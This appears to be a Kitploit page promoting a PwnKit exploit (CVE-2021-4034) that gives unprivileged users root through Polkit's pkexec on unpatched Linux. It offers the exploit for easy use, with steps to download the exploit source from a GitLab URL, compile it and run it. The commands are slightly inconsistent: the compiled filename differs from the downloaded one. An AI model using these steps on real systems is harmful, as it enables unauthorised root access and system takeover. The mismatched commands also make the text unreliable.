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pwnkit-vulnerability — Local privilege escalation exploit for CVE-2021-4034 (PWNKIT) targeting Polkit's pkexec, allowing unprivileged users to gain root on vulnerable Linux systems. | Kitploit
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pwnkit-vulnerability

Local privilege escalation exploit for CVE-2021-4034 (PWNKIT) targeting Polkit's pkexec, allowing unprivileged users to gain root on vulnerable Linux systems.

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PWNKIT Vulnerability - CVE-2021-4034

CVE-2021-4034 (PWNKIT)

A memory corruption vulnerability in Polkit's pkexec, which allows any unprivileged user to gain full root privileges on a vulnerable system using default polkit configuration.

Easy to use, local privilege escalation on any non-patched linux sysyem.

Usage (e.g. CentOS 7)

Fetch exploit

root@kitploit:~
wget https://gitlab.com/nelox/pwnkit-vulnerability/blasty-vs-pkexec.c

Compile it using gcc

root@kitploit:~
gcc bblasty-vs-pkexec.c -o makemeroot

Execute

root@kitploit:~
./makemeroot
whoami
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